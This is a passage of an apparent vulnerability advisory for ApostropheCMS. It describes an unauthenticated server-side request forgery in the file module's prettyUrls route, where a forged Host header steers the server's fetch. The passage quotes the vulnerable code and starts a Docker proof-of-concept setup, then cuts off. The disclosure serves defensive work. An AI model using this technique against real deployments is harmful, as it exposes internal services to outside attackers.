when `@apostrophecms/file` is configured with `prettyUrls: true` and uploadfs is **local** (the default; S3/CDN deployments produce an absolute `uglyUrl` and are not affected). ### Details `modules/@apostrophecms/file/index.js` (excerpt; the public GET route registered when `prettyUrls: true`): ```js if (!self.options.prettyUrls) return; return { get: { async [`${self.options.prettyUrlDir}/*`](req, res) { const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/); if (!matches) return res.status(400).send('invalid'); const [ , slug ] = matches; if (slug.includes('..') || slug.includes('/')) { return res.status(403).send('forbidden'); } const file = await self.find(req, { slug: `${self.options.slugPrefix}${slug}` }).toObject(); if (!file) return res.status(404).send('not found'); const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false }); const proxyUrl = uglyUrl.startsWith('/') ? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink : uglyUrl; return await streamProxy(req, proxyUrl, { error: self.apos.util.error }); } } }; ``` `lib/stream-proxy.js` (excerpt): ```js module.exports = async function(req, url, { error }) { const res = req.res; if (url.startsWith('/')) url = `${req.baseUrl}${url}`; let response; try { response = await fetch(url); } // <-- attacker-steered fetch catch (e) { return send502(e); } for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) { const v = response.headers.get(header); if (v != null) res.header(header, v); } res.status(response.status); response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... })); }; ``` `req.get('host')` returns the unvalidated `Host` HTTP header from the request. Express does not validate or restrict it, and apostrophe does not check the constructed `proxyUrl` against an allowlist. The upstream's body and content-type are forwarded verbatim — so any response the targeted host does return at the constrained path will reach the attacker. In practice the path constraint (`/uploads/attachments/<cuid>-<slug>.<ext>`) and cuid uniqueness mean meaningful body exfiltration only occurs against verbose-404 / banner- leaky proxies; against most internal services this degenerates to blind SSRF (response-code + timing side channels). Prerequisites are minimal: `prettyUrls: true` (a documented production SEO option) + at least one file uploaded with a known slug. Slugs are publicly enumerable in normal CMS use (file URLs appear in page content). **Distinct from the only published apostrophe SSRF advisory, GHSA-pr28-mf3q-qpg6** ("Authenticated SSRF in rich-text widget import via @apostrophecms/area validate-widget"), which is authenticated and lives in a completely different module/route. This finding is unauthenticated, in `@apostrophecms/file`, via the `Host` header. ### PoC Three services on an isolated Docker network: `mongo`, `internal` (returns a fake secret, **never exposed to the host**), `apos:3000` (the only port the host can reach). The host attacker proves it cannot reach `internal` directly, then exfiltrates `internal`'s response via one crafted request to `apos`. `app.js` (normal apostrophe site, documented option only): ```js require('apostrophe')({ shortName: 'apos-ssrf-poc', autoBuild: false, modules: { '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } }, '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } }, '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } }, '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } }, 'poc-seed': {} // seeds one file doc on boot (= what an admin does | CVE Database V5 |
Showing 21–40 of 55 results